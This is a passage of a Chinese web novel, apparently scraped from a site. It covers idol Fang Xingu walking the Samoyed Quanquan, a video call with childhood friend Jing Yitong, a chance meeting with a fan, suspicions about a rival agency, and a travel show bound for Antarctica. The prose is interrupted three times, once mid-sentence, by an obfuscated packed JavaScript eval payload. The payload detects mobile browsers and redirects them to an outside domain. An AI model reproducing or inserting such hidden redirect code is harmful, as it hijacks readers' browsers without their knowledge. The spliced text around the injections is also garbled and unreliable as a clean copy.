方新故低头,只见方、景两家之间那堵围墙上的狗洞中,突然钻出来一个毛茸茸的大白脑袋。 方新故一看就笑了:“圈圈!” 大白狗圈圈吸吸鼻子,抬头看向声音来处,似乎是认出了方新故,它激动地叫了起来,四只爪子更加急迫扒地,用力扭了几下,终于从洞里钻了出来,直接飞奔到小楼底下,白色的毛发蓬飞,激动到四只脚就没一起着过地。 方新故笑着下楼迎接它,萨摩耶猛地扑上来把方新故撞翻在地,兴奋到耳朵往后缩,像只小海豹一样不停用嘴筒子拱倒在地上的方新故,嘴里还撒娇似的嘤嘤叫着。 方新故抱着雪白的狗头搓了好几下:“好狗狗,是不是想哥哥了?” 小狗不会说话,但它那双湿漉漉的眼睛就没从方新故身上挪开过,唔理唔理地哼唧着跟方新故贴贴蹭蹭。 方新故好不容易坐起身,捏了捏圈圈身上的肉:“你是胖了还是爆毛了,这洞才扩过一圈,你又快钻不过来了?” “嘤~” 方新故弹了弹它Q弹的耳朵:“走,带你出去溜一圈减肥。” “汪!” 方新故在柜子里翻出了一顶黄色的狗狗帽子戴在圈圈头顶,萨摩耶两只耳朵从帽子顶部的洞里露出来,乖巧地坐在地上看方新故。 方新故被萌得不行,捧着圈圈的大脑袋端详两秒,忍不住亲了一口:“OK,可爱!” 圈圈吐着舌头傻笑。 方新故又给圈圈扣上狗绳,给自己扣上口罩帽子,一人一狗走出家门,漫步在江城的大街小巷。 前两天又下了场秋雨,气温降低不少,满城桂花将尽,空气中弥漫着淡淡的桂花甜香。 说是遛狗,方新故倒觉得是在遛自己,毕竟圈圈的注意力全在方新故身上,它的后腿是有点跛的,全程都贴着方新故在走,时不时仰头看方新故,寸步都不愿分开,对遛弯的兴趣基本为零,反倒是方新故自己走走停停,到处看着。 在十二岁之前,方新故都是在江城长大的,他对这里相当熟悉,即使这几年的市政建设让附近焕然一新,但万变不离其宗,城市的烟火气还在,江城还是那个江城,仍然是他记忆中熟悉的模样。 ……甚至有点太熟悉了,他光是走在这里,都能回忆起自己小时候跟景亦同是如何在这大街小巷上打闹玩耍的。 方新故心想早知道就不该回来,这里有太多回忆了。 “汪汪!” 似乎是感受到了方新故的分心,圈圈的大尾巴轻轻抽了下方新故的腿,方新故这才回过神来,他低头看向圈圈—— 哦对了,甚至连圈圈也是他和景亦同一起捡回家的,这也是他们共同回忆的一部分。 但没办法,他和景亦同毕竟一起长大,两人之间有太多过去,即使想放下,也不是一朝一夕就能释然的。 慢慢来吧。 逛久了,人和狗都累了,方新故带着圈圈在长椅上坐下,直到听见远方传来汽笛声,他才意识到自己坐在了运河边。 江城水网密布,是座名副其实的水城,即使是眼前这条传承了上千年、至今仍然川流不息的第一运河,对江城而言,也不过是它众多水系的其中之一。 但这条运河对景家却意义非凡,因为这条运河的存在,景家从最开始的撑船人,到后来做起了河运生意,发展到现在已经成为海运龙头企业,业务版图更是一步步扩大。 但企业越做越大,问题自然也越来越多。 方新故正想着,手机突然一震,好巧不巧是景亦同发来的消息。 景亦同开门见山:回江城了? 方新故微怔,过了一会儿才回复:我奶奶跟你说的? 景亦同:嗯,她让我帮她从燕省带点东西回来,正好提起你。 方新故想了想,拍了一张圈圈的毛脑壳发给景亦同:回家遛狗中。 景亦同:……怎么感觉它又胖了。 方新故护犊子:父不嫌儿胖,小狗只是毛茸茸。 景亦同笑了:不信。 方新故心想你还能怎么“不信”,总不能从燕省打飞的回来撸狗吧? 谁知下一秒,他的手机再度嗡嗡震动起来——景亦同竟然直接弹了个视频电话过来。 方新故看着视频通话请求整个人慌了神,景亦同怎么一言不合就直接弹视频过来了! 他该不该接? 圈圈注意到方新故的紧张,关切地仰起头蹭了蹭方新故的膝盖,方新故跟它对视:“圈圈,你爸要见你。” 但小狗又听不懂人话,它只是歪着脑袋无辜地看向方新故,喉咙里呼噜呼噜地哼着。 ……算了,总不能剥夺孩子它爸见孩子的权利。 于是方新故接起视频,但却忘了切换后置镜头,于是在视频接通的一瞬间,方新故的正脸就出现在了视频对话中,和景亦同四目相对的一刹那,两个人都有些愣神。 只不过方新故遮得严实,只有一双眼睛在外面,没露出什么破绽。 景亦同下意识问:“遮这么严实?” 方新故仅仅跟景亦同对视了一眼,就马上挪开视线,他压了压帽檐:“在外面呢,怎么说我现在也是个公众人物。” 圈圈听到景亦同熟悉的声音,跳上长椅挤到方新故身边,好奇地望着手机屏幕中的景亦同,那大脑袋占据了大半屏幕不说,还差点把方新故从长椅上挤下去。 方新故“诶诶”了几声稳住身子,忙把狗子推到一边,这才坐稳。 最后一人一狗就这么紧紧贴着,挤在小小的手机镜头前,景亦同看着他们忍不住笑起来:“可爱。” 方新故搓了搓狗耳朵:“是很可爱啊。” 像是听出了方新故语气中的夸赞,圈圈骄傲地挺了挺胸,尾巴像螺旋桨一样飞速甩动,只是正经不过三秒后又高兴地钻进方新故怀里,沾了方新故满身的毛。 景亦同嘴角的笑意更深了,狗可爱,人也可爱。 方新故好不容易掰开圈圈,眼睛却还是不看景亦同,一直保持着低头玩狗的姿势。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060116|179177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景亦同见方新故始终没有和自己对视,心里有些无奈,只好把目光重新落到圈圈身上:“它真没胖?” 尤其跟瘦了一圈的方新故坐在一起,这对比就更明显了,好胖一只狗,好瘦一条人。 方新故实话实说:“……其实刚才还差点卡在狗洞里。” “那个洞不是刚扩过吗?”景亦同看向圈圈,“圈圈,你真的该减肥了。” “听见没,该减肥了,”方新故戳了一下狗头,又问景亦同,“你是不是也快杀青了。” “嗯,还有半个月左右。” 方新故半倚在圈圈身上道:“到时候有空的话回江城一趟吧,圈圈肯定想你了。” “好啊,”景亦同的语气不自觉地温柔下来,“那你呢?” 方新故被他问得心头一跳:我?我什么? ……问我有没有想你? 方新故头皮发麻,这他要怎么回答?回答“想”太肉麻,回答“不想”又很刻意,好像怎么回答都很奇怪,景亦同怎么会问这种问题? 正当方新故心里百转千回思考该怎么回答时,景亦同一个大喘气,继续道:“那你呢?到时候你还在江城吗?” 方新故:……哦,问这个啊。 在视频镜头看不到的地方,方新故蓦地松了口气:“我还会在江城住大半个月吧。” 方新故倒是完全不担心会在江城碰见景亦同,半个月后景亦同杀青,肯定还有许多积攒的工作要处理,不可能马上回江城,而一个月后方新故就要启程去南极了,两人的时间刚好错开,根本不可能碰上。 景亦同显然也明白这个道理,这中间几天的时间差根本不足以让他们见上一面,原本他还准备回江城跟方新故当面聊聊,但现在看来是来不及了。 景亦同:“那见不上面了。” 方新故点头附和:“是啊是啊。”还好见不上。 景亦同调整好心情:“没关系,说不定很快会再见的。” 这时,景亦同房间的门外响起了敲门声,是他的经纪人宋侃来找他商量事情,于是景亦同笑着对方新故道:“我这里还有点事,先挂了,拜拜。” “嗯,拜拜。” 挂断电话,景亦同拉开房门让宋侃进来。 宋侃一进门,就看到景亦同含笑的脸庞,甚至眉目间都染上了柔和,看得宋侃起了一身鸡皮疙瘩:“跟谁打电话打得这么荡漾?” 景亦同没直接回答,只是把手机收好:“没谁。” 宋侃翻了个白眼,直奔主题:“交代我的事办好了,你的好弟弟准备接一档叫《世界之大》的旅行综艺,我把这个节目相关的资料都发给你了。” 景亦同点开宋侃发来的资料,注意力第一时间放到了《世界之大》的旅行目的地:“南极?” 宋侃嘶了一声:“听说是方新故自己要接的,你说他是怎么想的?我光是看着这两个字都觉得冷,而且制作团队也没什么名气。” 景亦同回忆着说:“他一直都挺想去南极的,这节目的常驻找齐了吗?” “你别说,现在方新故的人气是真高。这综艺本来糊到人都凑不齐,结果方新故确定参加录制的消息一放出去,瞬间把这节目盘活了,甚至有人想暗中操作把之前确定的几个小艺人顶下去,好在节目组硬气,没助长这种歪风邪气。” 景亦同的指节敲了敲吧台面:“那就是人齐了?” “还没有,剩了一个常驻位,我让人给你留出来了,你确定要去?” “嗯,正好档期也对得上,你跟节目组联系一下吧。” 宋侃没多问,心想这毕竟是方新故离开Nebula后的第一个活动,景亦同这个当哥哥的多上上心也正常。 ……啧,是正常的吧? 8. 第 8 章 方新故挂断电话后又在运河边坐了会儿,直到街头的人越来越多,他才带着圈圈往回走。 街边的早餐铺已经出摊,空气中弥漫着食物的香气,圈圈闻了就走不动道,频频回头看方新故暗示他给自己买点吃,眼珠子滴溜溜转着,看起来鬼灵精。 方新故装作没看见,继续往前走,急得圈圈犟在原地不肯动弹。 方新故没拽动它,只好蹲下身点着它的鼻头试图跟它讲道理:“小狗不能吃。” 圈圈:“嗷呜呜!”我不管我要吃! 方新故无语地捏了把它敦实的肉:“没听你爸说的吗,该减肥了。再吃,以后去洗澡都要按超级大胖狗收费了。” 一人一狗在路边对峙,最后倒是方新故的肚子倒先叫了,他忙活一晚上,大清早又跑出来遛狗,饭都还没吃,确实也该饿了。 方新故揉着肚子站起身,脚步生硬地转了九十度,拉着圈圈朝早餐摊走去:“狗不能吃但是人能吃啊。” 街边的早餐摊很多,方新故扫了一圈,最后走向一个香气四溢的煎饺摊,煎饺摊的阿婆用乡音问:“吃点什么呀?” 方新故也用乡音回答:“一份煎饺和豆腐花。” 圈圈乖巧地蹲在方新故脚边,眼中满是对美食的期待,丝毫没有意识到这份早餐压根没有它的份。 阿婆:“好嘞。” “钱付过去了。” 一段简单的对话,却引得一旁同样在等早餐的女生偷偷看了方新故好几眼。 刚开始她只是被雪白的萨摩耶吸引了注意,再抬头时才发现狗主人身姿高挑挺拔,一双大长腿走路带风,就算看不到脸,起码也是个氛围感帅哥,现在再一听他的声音,竟然还有点耳熟,很像方新故。 可惜对方裹得严实,连唯一露出来的眼睛都被帽檐的阴影遮住了,根本看不清他的长相,只有几缕白金色的头发从帽子底下露出来。 不过这身高和发色倒是跟方新故对得上。 女生想着想着就把自己逗笑了,大明星怎么可能一大早遛着狗,出现在这么普通的一个早餐摊边,那也太接地气了。 女生没再多想,从老板手里接过自己的手抓饼就要离开,只是走了没几步,她就感觉好像有东西跟在她身后。 她警觉地往后一看,才发现是刚才那只萨摩耶正直勾勾地盯着自己手里的手抓饼,甚至跟着她迈出去了两步。 方新故左手刚接过自己的豆腐脑和煎饺,右手就感受到了一股拉扯感,他低头一看,才发现圈圈差点就要跟着别人的手抓饼跑了。 方新故忙扼住狗子的后脖颈把它扯回来:“景圈圈!你要干嘛!” 圈圈仰起头委屈得呜呜叫:“嗷呜呜!”我也要吃! “馋狗,”方新故敲了一下它的脑壳,抬头歉意地对女生道,“不好意思,吓着你了。” “没事没事,”女生也没生气,反而有点眼馋圈圈干净整洁又蓬松的白毛,“它好可爱,我能摸一下吗?” 方新故捏住圈圈的嘴筒子:“摸吧。” 女生乐呵地把狗子rua了一通,圈圈本就不认生,女生身上又沾了手抓饼的香味,它更是高兴地直甩尾巴,把女生都给逗乐了:“啊啊好可爱的耶耶!” 圈圈咧着嘴憨憨地笑着,眼睛却长在了女生手里的手抓饼上,口水都快淌出来了,女生看看饼又看看方新故,不确定道:“它能吃吗?不然我请它吃个手抓饼?” 方新故感觉脸都快被这狗丢光了,忙摆手:“谢谢,不用了,它不能吃这些。” “哦哦,”女生又摸了两把狗头,突然又对方新故道,“帅哥,有没有人说你声音很像方新故啊?” 方新故本人:…… 他沉默片刻,模棱两可道:“呃,没有吧?” “哈哈真的很像,我刚才差点以为你就是本人。” 女生说到一半却突然顿住,因为她发现以她现在蹲着的这个姿势,从下往上看,其实是能看清“狗主人”的眼睛的,那是一双很漂亮的眼睛,跟她印象中方新故的眼睛不断重合。 她干笑两声,玩笑着说:“……你该不会就是方新故吧?” 方新故沉默地跟她对视,半晌后无声点头。 女生:“啊???” 女生激动到差点晕过去,她短促叫了一声,又马上闭嘴,环视周围确认没人注意到这里的小插曲,才语无伦次道:“你、你……真的是你?你怎么会在江城?” “嗯?因为我是江城人?” 女生尴尬地咬紧后槽牙,她这是问了个什么问题! 女生深吸一口气,举起手机小心翼翼问:“可以合照吗?” 说完她就后悔了,一上来就要合照,会不会太没边界感了? 可方新故根本没多想,指了指旁边:“可以,去那边吧,人少点。” 女生没想到方新故这么好说话,跟着走到一侧的花坛边时还是懵的。 方新故就这么答应了? 女生僵硬地举起手机准备自拍,手指虚点在美颜相机上时又犹豫了,她担心自己夸张的美颜参数把方新故P成外星人,最后还是视死如归地点开了原相机。 这时,站在女生后面的方新故已经摘下口罩帽子,他单手插进发间,将发丝往后一捋,半蹲下身配合地凑到女生的镜头前。 女生心脏狂跳,我真没在做梦,这真是方新故! 她的目光落在手机屏幕中方新故的脸上,根本挪不开眼,两人之间明明保留了一段合适的社交距离,但她却紧张得不敢呼吸。 我靠,怎么会有人在苹果原相机的镜头下还能这么好看! 其实方新故面色有些病态的苍白,又因为昨晚几乎没睡,眼底还挂着些许青黑,甚至连头发都是布丁头,但这些小瑕疵落在他那张精致的脸上根本无足轻重,反倒让他的五官在镜头下更加立体,平添了一份漫不经心的帅气。 就在女生感觉要喘不过气来之时,圈圈用力地挤进镜头中,它咬住方新故的裤腿,眼睛里满是哀怨:吃饭不带我就算了,现在连拍照也不带我! 方新故拿它没办法,询问道:“可以带它一起拍吗?” 女生终于敢呼吸了:“可以可以。” 于是方新故把圈圈抱到了花坛边缘的石阶上,最后留下了张两人一狗的合影。 女生看着照片上,方新故举起萨摩耶的一只狗爪子向镜头打招呼的画面,感觉自己被萌翻了:“你还养狗?它好乖。” 方新故琢磨了一下该怎么回答,圈圈虽然是他和景亦同一起救助的,但当时他并不打算领养圈圈,倒是景亦同坚持要带它回家,最后就成了两家人一起养。 方新故只好模糊回答:“是家里人养的狗。” “哦哦,家人养的呀?”女生没在这个问题上过多纠结,她偷偷打量了方新故好几眼,纠结再三还是眼一闭心一横地问道,“好久没听到你的消息了,很多人都说你准备退圈……是真的吗?” 听到女生这么问,方新故愣了愣,回答道:“不会退圈的。” 女生愣了好一会才敢确定自己不是幻听:“真的?!” 方新故有点懵:“我已经跟公司续约了……你不知道吗?”他记得齐邱前几天应该在网上公开提过这事吧? 但显然方新故在养病期间没怎么上网,齐邱的声明压根拉不回粉圈已经彻底跑偏的风向。 女生的表情顿时心虚起来:“你说齐邱?呃,我们以为那是他出来给公司□□的说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060117|179177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辞,毕竟你本人消失很久了,实在不像是续约了的样子……” 这误会大了,方新故有点心疼齐邱又觉得好笑,他摆手帮齐邱澄清:“前段时间我生病了,这两天刚出院,所以才消失了这么久,接下来会陆续有工作的。” 女生倒抽一口气,终于意识到不对劲:“不会从演唱会结束之后你就一直在住院吧?” 方新故无力地点点头:“别担心,现在已经康复了。” 女生心疼坏了,但此时也憋不出什么安慰的话来,只好道:“你没事就好。” “放心,”方新故摸了摸圈圈的脑袋,“我还要回家喂狗,先走了。” 女生也意识到自己已经拉着方新故聊太久了,她有点不好意思:“那我不打扰你了。对了,刚才我们的合照和对话可以发网上吗?” “可以,”方新故爽快答应,“别暴露我在江城就行。” 女生比了个OK:“没问题!拜拜。” 方新故挥手:“路上注意安全。” 告别街头偶遇的粉丝,方新故拉着圈圈便要离开,谁知这坏狗的魂跟长在手抓饼上了似的,一步三回头紧紧盯着女生手上的饼,方新故怎么都拽不动它。 方新故尴尬地跟女生对视了一眼,最后没办法,直接一把抱起狗抗在肩头,嫌丢人似的埋下脸,加快脚步走了。 女生按捺下心中的激动目送他们离开,心想到底是谁总在网上说方新故脾气差的! 她不是没追过方新故的线下,但还是第一次这么近距离地跟方新故接触,就这么一会会儿的交谈,她都能感受到方新故有多平易近人,一点架子都没有,起码比她公司那些恶心人的同事要好得多。 ……不对,现在她的首要任务应该是上网跟同担分享这个好消息! . 方新故带着圈圈回到家时,王锦絮早已经吃完早餐,正坐在桌前看书。 见到方新故和他手上拎着的早饭,王锦絮稀奇:“你竟然还会去买早饭,不会是一晚没睡吧?” “遛狗的时候突然肚子饿了,就顺便买了,”方新故避重就轻,把早点摆到餐桌上,问王锦絮,“您要吃吗?” 王锦絮看着他买回来的泛着油光的煎饺,眉头微蹙:“油腻,你什么时候喜欢吃这些了?” “……就这个摊位的人少。” 王锦絮收回视线:“你自己吃吧。” 方新故应了一声,俯身安排好圈圈的早饭,又用醋和辣椒油给自己调了一碟蘸料,这才坐到餐桌边吃饭。 只是他吃几口就抬头看一下王锦絮,如此往复,到最后王锦絮实在忍不住了:“你干嘛?” 方新故把嘴里的煎饺咽下:“奶奶,你不觉得我们家和景家离得太近了吗?” 王锦絮扶了下鼻梁上的老花镜,翻动手上的书页:“还好吧,也就你和小同的两栋楼隔得近了些。” 一听话题绕到了自己想要聊的地方,方新故放下筷子正经道:“我就是想说这个,我们俩的房子太近了,从我屋里一抬头就能把他的房间看得一清二楚,这样太没隐私了,我想着能不能在中间加个隔断。” 王锦絮古怪地看他:“你忘了?” 方新故投过去一个疑惑的眼神:“什么?” 王锦絮的目光又放回手中的书上:“你们那两栋楼之间,以前本来是有一棵秋桂的,正好能把两栋楼分开。后来你六岁那年第一次搬去小楼一个人住,晚上怕得哇哇大哭,非要把那棵秋桂砍了,说这样看着景亦同的房间,晚上就不害怕了。我们被你闹得实在没办法,才把那棵秋桂挪到后门去了。” 王锦絮总结陈词:“嫌有隔断的是你,嫌没隔断的也是你,难伺候。” 方新故:…… 9. 第 9 章 方新故尴尬地捣勺子,直接把豆腐脑打成了散豆花。 他和景亦同的小楼之间原本有隔断?他怎么完全不记得这事儿了。 现在被王锦絮这么一说,方新故也不好意思再提,他埋头加快吃饭速度,一吃完就带着狗跑了。 一人一狗回到小楼,方新故把圈圈的四只狗爪擦干净,圈圈便懒洋洋地窝在方新故脚边睡着了。 方新故拿了块巴沙木和刻刀坐在桌前摆弄,时不时垂眼看一眼圈圈,努力把手上的木头雕成圈圈的模样。但方新故刚刻出个大概,齐邱的消息就来了。 齐邱:你身体好了? 方新故连刀都没放下,用小拇指的直接摁住语音键懒洋洋道:“还行吧,怎么?” 齐邱:[微博链接],身体好了所以就和粉丝在大马路上唠上了? 方新故点开那条链接,原来是刚才那位粉丝把偶遇他的事发到了网上。 “一个手抓饼:谁敢信我在上班路上偶遇方新故了[敬礼]真人又高又帅而且特别随和,谁再造谣我们咕高冷呢![合照.jpg][方新故扛狗离开.gif]” 方新故瞄了一眼,不觉得有什么问题,尤其女生还把照片的背景打了一层厚厚的马赛克,别人根本无法辨别背景所在地。 于是方新故理直气壮地反问:被粉丝认出来了就简单聊了几句,不行? 齐邱:谁允许你跟粉丝合照了! 方新故又去欣赏了下几张照片:拍得还可以吧。 齐邱发了条暴怒的语音过来:“这是拍得好不好的问题吗!万一合照被人恶意p图,对话被人断章取义,那都是大麻烦!” 好在这次偶遇的粉丝人不错,没说什么让人误会的话,带来的反馈还不错,评论区和相关话题下都很和谐—— “竟然是活的新鲜的会动的方新故……真是好帅好美好伟大的一张脸[流泪]” “建模脸吗,权威!” “我们咕就是性格很好啊,之前在学校偶遇他,他也都会客气地回应的~” “人也萌狗也萌!毛孩子也随爹[龇牙]” “谁来还我孩子脸颊肉,我怎么感觉咕咕比演唱会那会儿更瘦了,消失一个月怎么也没见长点肉呜呜呜。” “消失一个月还素颜跟粉丝合影,不会真准备退圈吧……” 一个手抓饼:“总结一下跟咕咕的对话重点。1.不退圈,确实跟乘风续约了。2.消失一个月是因为生病了,最近刚出院,目前已经康复。3.狗是家里人养的(夹带一下私货,狗狗被养得特别好,毛茸茸的手感一级棒,我摸了好几把嘻嘻)” 评论区一下又炸锅了: “卧槽!” “啊!!!!” “???刚出院?” “不退圈!我复活了!” ?“老师我家孩子不会从一个月前演唱会后台晕倒到现在一直在住院吧?” 一个手抓饼回复这位抓住重点的粉丝:“……你猜对了。” “?文字料竟然是真的,之前就申市ip的momo说方新故住了一个月的院。” “我孩子真的报喜不报忧了。到底生什么病啊,之前不是就说发烧吗?” “卧槽这下真给我虐成生命粉了[流泪]” “……再也不敢催他营业了,还活着不退圈就已经很好了。” 一个手抓饼:“大家不用太担心,今天新故状态挺好的,而且也说了下个月会有活动的,我们还是燥候这个吧!” 有了“不退圈”这剂强心针,原本哀鸿遍野的粉圈一下恢复了生机活力。 方新故看着欢天喜地的小粉丝们,心情也莫名地明媚起来:她发都发了,你还想让人把微博删了? 齐邱哼哼了两声,删倒是不用删,况且从某种角度上来说,这条微博也算是帮他们稳固粉圈了。 齐邱:那倒不用,就是以后有这种事你得提前跟我说一声,也少跟路人合照交流,今天碰到的是真粉丝,以后碰见的谁知道是人是鬼呢。 方新故看到这种自己不想听的话,就开始装死不回复。过了会儿,齐邱又发了条消息过来:之前音响事故那减事,查到一半线索断了,但我们怀疑是至娱干的。 至娱? 听到这个名字,方新故刻着木雕的手一滑,掌心中的巴沙木块被他搓下来一大块,彻底坏了。 一心果然不能二用,他把木块丢到一旁。 至娱传媒是知名经纪公司,只是这几年大不如前,影视剧方面连连扑街,音乐方面倒还有老牌唱将谭致撑场面,只不过谭致这几年出的新歌传唱度大不如前,不少人都觉得他江郎才尽。 自从《星途》大爆后,至娱就看中了选秀这条赛道,送了几波新人去参加选秀节目。后来新人成功出道,确实也给至娱带来了一些水花,但有Nebula这座大山压着,无论他们再怎么努力,也只能是陪衬。 现在Nebula是解散,但他们七个人又没有退圈,原本落在Nebula头上的资源并不会因此就落到其他组合身上,况且现在选秀又被禁了,至娱能从中获得的利益只会越来越少。 前段时间齐邱和其他人调查音响事故,虽然没有找到切实的证据,但许多线索都指向至娱。 或许至娱就是想让Nebula在演唱会上翻车,人为制造车祸现场,达到削弱Nebula名声的作用,结果事与愿违,谁知道Nebula竟然在没有伴奏的情况下,还能唱得如此之好。 这一下不仅没能成功打击Nebula,反而给Nebula炒了一波正向的热度。 齐邱乐得嘎嘎笑:幸好你给力,那天《星途》唱得太好了,现在至娱的人估计肠子都要悔青了,竟然给你们送了这么个大出风头的机会,顺带还洗了一下Nebula之前“不开麦男团”的黑称……对了,说到这个,还有个至娱的八卦,之前《世界之大》原本不是确定了五个嘉宾,后来又跑了一个嘛?昨天我打听到,那个跑了的人竟然也是至娱的,就是谭致哈哈哈。 方新故看着谭致这个名字,眉头蹙得更紧了:以后得多防着他们点,感觉他们没这么容易偃旗息鼓。 齐邱:当然,我心里有数。 结束和齐邱的对话,方新故沉默地望向窗外景亦同的房间。睡梦中的圈圈似乎是感受到方新故烦躁的情绪,它迷迷糊糊地睁开眼,在方新故腿上蹭了蹭。 方新故吐出口气,安抚地摸摸圈圈的头,又从抽屉里拿了块木头出来重新开始雕刻。 管他至娱还是至死,现在谁也不能耽误他雕一只木头圈圈。 . 时间转眼到了十一月末,方新故被齐邱叫回了申市。 他过了一段时间的潇洒日子,但《世界之大》的南极之旅即将开启,今天节目组要进行公式照拍摄和第一次备采录制。 好在公式照的拍摄时间并不长,方新故虽然不是那种很能在镜头前放得开的性格,但毕竟只是拍几张硬照,不需要他有什么特别的表现力,他按照摄影师的要求摆了几个pose,很快完成了拍摄。 跟方新故同属乘风娱乐的李问语在边上打趣他:“时尚的完成度靠脸,师兄,这句话在你身上体现得淋漓尽致。” 方新故冷眼瞥她:“……我就当你在夸我。” 这几年选秀节目频出,李问语是女团出道,热度虽然比不上方新故和Nebula,但人气也颇高,这次乘风娱乐本着肥水不流外人田的心态,把她也打包送来参与《世界之大》的录制。 拍摄完成后,趁着备采间还在准备,两人坐在一起聊天——主要是靠李问语努力输出。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060118|179177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李问语:“你知道咱们节目还有哪几个常驻吗?” 方新故在看采访稿的间隙抽空回答:“你、我、孟回老师。” 李问语:…… 她扭头看了一眼今天跟他们在一起拍摄公式照的孟回,这不就是今天在这里拍摄的三个人吗? 李问语满头黑线:“看出来你是完全不关心了。” 方新故耸耸肩,确实完全不在意,反正他不想见的人也不可能会出现在《世界之大》。 李问语还在自顾自地念叨着:“听说还有一个女嘉宾是梁寄言,我以前超喜欢她的,可惜这几年她被那些黑料影响,都没什么作品了。” 方新故左耳进右耳出,心里盘算着等会采访的问题要怎么回答,嘴上应付道:“那这回你正好和她混个脸熟。” “嘿嘿,那必须的!可惜今天没见上,”李问语晃着脚尖,“听说还有两个嘉宾是汪裴阳和罗达。” 这两人都是男演员,汪裴阳是刚出道的新人,罗达是位喜剧演员。 李问语说完又好奇道:“但应该有七个常驻吧,我怎么也打听不到最后一个人是谁。” 方新故合上手里的采访稿,第一次抬起头:“应该挺有来头,刚才听节目组的人说要暂时保密。” 李问语顿时来了兴趣:“什么人派头这么大,比你咖位还高?” 这时,备采间准备完毕,工作人员请方新故去采访,方新故应了一声,站起身最后道:“我有什么咖位?比我咖位高的人多了,你就自己琢磨吧。” . 同一时刻,江城。 前脚方新故刚去申市,后脚景亦同就回到了江城。 “圈圈,回来。” 圈圈叼着飞盘撒开腿飞奔回景亦同身边,景亦同俯下身从它口中接过飞盘,表扬道:“好狗狗。” 圈圈吐出舌头,扬起大脑袋,一双眼睛里满是期待地看向景亦同——往常它叼回飞盘后,景亦同都会给它喂小零食的! 可惜这次景亦同回江城,抱着势必要给景圈圈减肥的决心,他哪还会给它喂额外的零食。 于是景亦同装模作样地摸向口袋,假装从里面掏了块小零食出来,往半空中一抛。 圈圈追着空气零食落下的方向张开嘴纵身一跃,明明只是叼了一口空气,但它却认真的咬住,甚至还伸出舌头舔了舔鼻子,随后露出了一个开心的笑容,不知道的还真以为它吃了什么好东西。 景亦同又好笑又无语,他揉着圈圈的脑壳:“我们圈圈啊,这么大的脑袋,里面却空空如也。” 这个季节的江城气温骤降,景亦同带着圈圈在外面玩了会儿飞盘,直到感觉身上热乎了,这才牵着狗回家。 刚走进家门,景亦同就注意到客厅中坐了个中年男人,景亦同很意外:“爸?你今天怎么回江城了?” 景鸿抬头:“我回来拿点东西。你遛狗回来了?” 作为一只热情小狗,圈圈看见景鸿便哒哒走上前,用毛脑袋拱了拱他的手,景鸿在外面是不苟言笑的老总,但在家里却没什么架子,看到圈圈也忍不住摸了几把:“哎哟,还是我们圈圈乖,让爷爷摸摸。” 景亦同对景鸿道:“晚饭在家吃吧,今天外面送了几只蟹来,新鲜的,我让厨房多蒸几只。” “好,”景鸿应下,但摸着狗孙子的手却一顿,脸色也变得犹豫起来,他斟酌着问,“呃,你和新故商量得怎么样了?” 景亦同在沙发上坐下:“还没谈,准备过两天录节目的时候跟他聊一聊。” “哎……”景鸿长长叹了口气,他捏着鼻梁,感觉一阵心累,“作孽啊,你就不能换个人喜欢?以后我怎么有脸见老方一家?” 景亦同看向景鸿:“不好意思啊爸,唯独这一点,应该这辈子都换不了了。” 10. 第 10 章 备采间,方新故坐在蓝色的背景墙前。 短暂的寒暄过后,负责采访的工作人员小李向他提出了第一个问题:“首先欢迎新故加入《世界之大》!第一个问题,想问问新故为什么想来《世界之大》呢?” 用词非常精准,是“想来”,而不是“同意来”。 镜头外围坐着一圈工作人员,每个人都目光灼灼,但实际上房间里却异常安静。 他们这个团队可以算得上是个“草台班子”,绝大部分成员都是严途从学校抓来的新人,能组建起来全靠大家的一腔热血。 之前他们资金有限,差点连嘉宾都凑不齐,好不容易天降顶流方新故,团队资金才充裕起来。但第一次和当红艺人合作,大家心里多少有点犯怵,生怕方新故不配合工作。 方新故倒是很随意地坐在高脚凳上,脚也悠闲地点着地,说出了早就准备好的回答:“十年前,我看了莫里斯·兰多特导演的一部电影——《极地信使》。这部影片的取景地之一就是南极。当年在看完这部电影后,我就很向往南极的风光,一直很想去亲眼看看,可惜总是缺个机会,所以这次看到《世界之大》的邀约,我就心动了。” 这次采访,方新故和节目组早就对过台本,两方人员对这次采访的问题和回答都心知肚明,但小李听到方新故的话时,心里还是有些好奇,方新故的回答是如此具体又认真,这是方新故的真实想法吗?还是只是一套提前准备好的说辞。 但起码没有被敷衍应对,小李也从一旁拿出了准备好的礼物:“兰多特导演的《极地信使》确实是经典佳作,今天我们也给新故准备了一份惊喜——《极地信使》的碟片,上面还有莫里斯·兰多特导演和两位主演的签名哦。” “啊?” 这是台本上没有的内容,方新故也没想到还有这一出,微微睁大的双眼显露出了他的意外。 